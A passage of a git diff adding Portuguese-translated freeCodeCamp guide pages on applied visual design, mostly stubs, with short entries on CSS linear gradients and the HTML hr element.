+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md
new file mode 100644
index 0000000000..3b5a136bab
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md
@@ -0,0 +1,9 @@
+---
+title: Animate Elements at Variable Rates
+localeTitle: Elementos animados em taxas variáveis
+---
+## Elementos animados em taxas variáveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md
new file mode 100644
index 0000000000..37fce38ae6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md
@@ -0,0 +1,9 @@
+---
+title: Animate Elements Continually Using an Infinite Animation Count
+localeTitle: Animar elementos continuamente usando uma contagem de animação infinita
+---
+## Animar elementos continuamente usando uma contagem de animação infinita
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md
new file mode 100644
index 0000000000..a8af160de5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md
@@ -0,0 +1,9 @@
+---
+title: Animate Multiple Elements at Variable Rates
+localeTitle: Animar vários elementos a taxas variáveis
+---
+## Animar vários elementos a taxas variáveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md
new file mode 100644
index 0000000000..a182c624f3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Center an Element Horizontally Using the margin Property
+localeTitle: Centralizar um elemento horizontalmente usando a propriedade de margem
+---
+## Centralizar um elemento horizontalmente usando a propriedade de margem
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md
new file mode 100644
index 0000000000..444d86f927
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md
@@ -0,0 +1,9 @@
+---
+title: Change an Element's Relative Position
+localeTitle: Alterar a posição relativa de um elemento
+---
+## Alterar a posição relativa de um elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md
new file mode 100644
index 0000000000..bec1adeb0f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md
@@ -0,0 +1,9 @@
+---
+title: Change Animation Timing with Keywords
+localeTitle: Alterar o tempo de animação com palavras-chave
+---
+## Alterar o tempo de animação com palavras-chave
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md
new file mode 100644
index 0000000000..d9ac2d3bd2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Position of Overlapping Elements with the z-index Property
+localeTitle: Alterar a posição dos elementos sobrepostos com a propriedade z-index
+---
+## Alterar a posição dos elementos sobrepostos com a propriedade z-index
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-gradual-css-linear-gradient/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-gradual-css-linear-gradient/index.md
new file mode 100644
index 0000000000..abced68a71
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-gradual-css-linear-gradient/index.md
@@ -0,0 +1,20 @@
+ ---
+ title: Create a Gradual CSS Linear Gradient
+ localeTitle: Criar um gradiente linear de CSS gradual
+---
+\## Criar um Gradiente Linear CSS Gradual
+
+Para criar um gradiente linear, você deve definir pelo menos duas paradas de cor. As paradas de cores são as cores que você deseja renderizar transições suaves entre. Você também pode definir um ponto de partida e uma direção (ou um ângulo) junto com o efeito de gradiente.
+
+A sintaxe é sempre:
+```
+background-image: linear-gradient(angle, color-stop1, color-stop2); 
+```
+
+As cores podem ser usadas nos formatos hex () e rgb (). Experimente um pouco e você entenderá como é fácil e bonito usá-lo.
+
+## Recursos
+
+[Há uma extensa informação sobre este tópico disponível neste link.](https://www.w3schools.com/css/css3_gradients.asp)
+
+[Além disso, você pode querer rever este vídeo do Youtube por The Net Ninja.](https://www.youtube.com/watch?v=wTk4Wuckd0U)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md
new file mode 100644
index 0000000000..4a1f266742
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Graphic Using CSS
+localeTitle: Crie um gráfico usando CSS
+---
+## Crie um gráfico usando CSS
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/index.md
new file mode 100644
index 0000000000..b397c4f34d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/index.md
@@ -0,0 +1,31 @@
+---
+title: Create a Horizontal Line Using the hr Element
+localeTitle: Criar uma linha horizontal usando o elemento hr
+---
+## Criar uma linha horizontal usando o elemento hr
+
+A tag `hr` é um dos elementos HTML mais simples. Cria uma linha de linha horizontal fina em todo o elemento pai.
+
+Esta lição usa a tag `hr` para separar o título e o conteúdo de um "cartão". Então, como você cria um elemento `hr` ?
+
+```html
+
+<!-- It's this easy --> 
+ <hr> 
+```
+
+Este elemento é de fechamento automático, mas para ser amigável com analisadores e verificadores de estilo, você deve adicionar um marcador de fechamento explícito.
+
+```html
+
+<hr /> 
+```
+
+Qualquer que seja o formato escolhido, você criará uma linha horizontal, como [nesta lição,](https://learn.freecodecamp.org/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/) no [freeCodeCamp](https://www.freecodecamp.org/) . Aqui está uma captura de tela da lição que mostra um elemento `hr` contido em uma div.
+
+![Exemplo h](https://i.imgur.com/RMTqXPw.png)
+
+## Recursos:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/hr)
+*   [W3C](http://w3c.github.io/html-reference/hr.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md
new file mode 100644
index 0000000000..a8d7d6d060
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a More Complex Shape Using CSS and HTML
+localeTitle: Crie uma forma mais complexa usando CSS e HTML
+---
+## Crie uma forma mais complexa usando CSS e HTML
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md
new file mode 100644
index 0000000000..09db61834b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Movement Using CSS Animation
+localeTitle: Criar movimento usando animação CSS
+---
+## Criar movimento usando animação CSS
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md
new file mode 100644
index 0000000000..8c02f2c593
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Texture by Adding a Subtle Pattern as a Background Image
+localeTitle: Criar textura adicionando um padrão sutil como imagem de plano de fundo
+---
+## Criar textura adicionando um padrão sutil como imagem de plano de fundo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md
new file mode 100644
index 0000000000..dc662f94a2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Visual Balance Using the text-align Property
+localeTitle: Criar equilíbrio visual usando a propriedade text-align
+---
+## Criar equilíbrio visual usando a propriedade text-align
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md
new file mode 100644
index 0000000000..13069125d3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Visual Direction by Fading an Element from Left to Right
+localeTitle: Criar direção visual desvanecendo um elemento da esquerda para a direita
+---
+## Criar direção visual desvanecendo um elemento da esquerda para a direita
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md
new file mode 100644
index 0000000000..70b46af958
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Decrease the Opacity of an Element
+localeTitle: Diminuir a opacidade de um elemento
+---
+## Diminuir a opacidade de um elemento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/index.md
new file mode 100644
index 0000000000..1b035d7902
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/index.md
@@ -0,0 +1,11 @@
+---
+title: Applied Visual Design
+localeTitle: Design Visual Aplicado
+---
+## Design Visual Aplicado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md
new file mode 100644
index 0000000000..5db50e0185
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn about Complementary Colors
+localeTitle: Saiba mais sobre cores complementares
+---
+## Saiba mais sobre cores complementares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md
new file mode 100644
index 0000000000..0875023747
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn about Tertiary Colors
+localeTitle: Aprenda sobre cores terciárias
+---
+## Aprenda sobre cores terciárias
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md
new file mode 100644
index 0000000000..392e32b670
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How Bezier Curves Work
+localeTitle: Saiba como funcionam as curvas de Bezier
+---
+## Saiba como funcionam as curvas de Bezier
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md
new file mode 100644
index 0000000000..2e62140d3d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How the CSS @keyframes and animation Properties Work
+localeTitle: Saiba como funcionam as propriedades CSS @keyframes e animação
+---
+## Saiba como funcionam as propriedades CSS @keyframes e animação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md
new file mode 100644
index 0000000000..eeb50dde2f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md
@@ -0,0 +1,9 @@
+---
+title: Lock an Element to its Parent with Absolute Positioning
+localeTitle: Bloqueie um Elemento ao seu Pai com Posicionamento Absoluto
+---
+## Bloqueie um Elemento ao seu Pai com Posicionamento Absoluto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md
new file mode 100644
index 0000000000..d6de035f35
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md
@@ -0,0 +1,9 @@
+---
+title: Lock an Element to the Browser Window with Fixed Positioning
+localeTitle: Bloquear um elemento para a janela do navegador com posicionamento fixo
+---
+## Bloquear um elemento para a janela do navegador com posicionamento fixo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md
new file mode 100644
index 0000000000..63559fcee1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md
@@ -0,0 +1,9 @@
+---
+title: Make a CSS Heartbeat using an Infinite Animation Count
+localeTitle: Faça um Heartbeat CSS usando uma Contagem de Animação Infinita
+---
+## Faça um Heartbeat CSS usando uma Contagem de Animação Infinita
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md
new file mode 100644
index 0000000000..1badd7157a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Motion More Natural Using a Bezier Curve
+localeTitle: Torne o movimento mais natural usando uma curva Bezier
+---
+## Torne o movimento mais natural usando uma curva Bezier
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md
new file mode 100644
index 0000000000..1ea73d1bb9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md
@@ -0,0 +1,9 @@
+---
+title: Modify Fill Mode of an Animation
+localeTitle: Modificar o modo de preenchimento de uma animação
+---
+## Modificar o modo de preenchimento de uma animação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md
new file mode 100644
index 0000000000..2b89bf98de
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md
@@ -0,0 +1,9 @@
+---
+title: Move a Relatively Positioned Element with CSS Offsets
+localeTitle: Mover um Elemento Posicionado Relativamente com Deslocamentos CSS
+---
+## Mover um Elemento Posicionado Relativamente com Deslocamentos CSS
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md
new file mode 100644
index 0000000000..309928148f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Push Elements Left or Right with the float Property
+localeTitle: Empurre os elementos para a esquerda ou para a direita com a propriedade float
+---
+## Empurre os elementos para a esquerda ou para a direita com a propriedade float
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md
new file mode 100644
index 0000000000..0ead2229c5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the font-size for Multiple Heading Elements
+localeTitle: Definir o tamanho da fonte para vários elementos de cabeçalho
+---
+## Definir o tamanho da fonte para vários elementos de cabeçalho
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md
new file mode 100644
index 0000000000..5e7ef3876d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the font-size of Paragraph Text
+localeTitle: Definir o tamanho da fonte do texto de parágrafo
+---
+## Definir o tamanho da fonte do texto de parágrafo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md) .
+
